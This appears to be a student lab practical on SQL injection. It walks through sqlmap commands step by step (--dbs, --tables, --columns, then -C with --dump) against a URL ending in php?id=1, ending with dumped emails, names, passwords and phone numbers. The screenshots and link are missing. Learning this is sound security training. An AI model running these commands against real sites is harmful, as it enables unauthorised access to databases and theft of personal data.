
PRACTICAL NO.4: SQL INJECTION 

Step 1:- open terminal and write sqlmap 

 

Step 2: Open below link in firefox browser 

 

 

 

 



Step 3:- copy the website URL and write the code sqlmap -u (your website URL 

ending with php?id=1) --dbs(for database) 

 

 

 

 

 

 

 



Step 4 :-after loading or initiating step 3 just add –tables after --dbs for 

accessing tables from the database 

 

 

 

 

 

 

 

 



 Step 5 :after step 4 you will get the database and the table content then just  

write sqlmap -u (your URL) -D(database) (write your database name) -T(tables) 

(write the table name) –columns (to access the columns in your mentioned 

table name) 

 

 

 

 

 



Step 6 -now you will get the columns present in the tables. Now just write the 

same code and in place of --columns write -C (and choose the columns of your 

wish) –dump (to dump the values of the columns)  

  

 

Now we can see the email, name, password, phone and name 

 

                                    

 


